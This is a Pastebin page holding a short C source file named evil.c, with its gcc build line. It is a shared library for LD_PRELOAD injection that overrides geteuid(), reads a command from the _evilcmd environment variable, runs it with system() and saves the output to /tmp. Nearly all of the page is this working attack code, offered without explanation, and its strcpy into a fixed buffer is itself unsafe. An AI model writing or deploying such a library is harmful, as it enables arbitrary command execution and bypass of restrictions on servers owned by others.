daily pastebin goal
19%
SHARE
TWEET

Untitled

a guest Jan 21st, 2019 56 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /* compile: gcc -Wall -fPIC -shared -o evil.so evil.c -ldl */
  2.  
  3. #include <stdlib.h>
  4. #include <stdio.h>
  5. #include <string.h>
  6.  
  7. void payload(char *cmd) {
  8.   char buf[512];
  9.   strcpy(buf, cmd);
  10.   strcat(buf, " > /tmp/_0utput.txt");
  11.   system(buf);
  12. }
  13.  
  14. int  geteuid() {
  15.   char *cmd;
  16.   if (getenv("LD_PRELOAD") == NULL) { return 0; }
  17.   unsetenv("LD_PRELOAD");
  18.   if ((cmd = getenv("_evilcmd")) != NULL) {
  19.     payload(cmd);
  20.   }
  21.   return 1;
  22. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top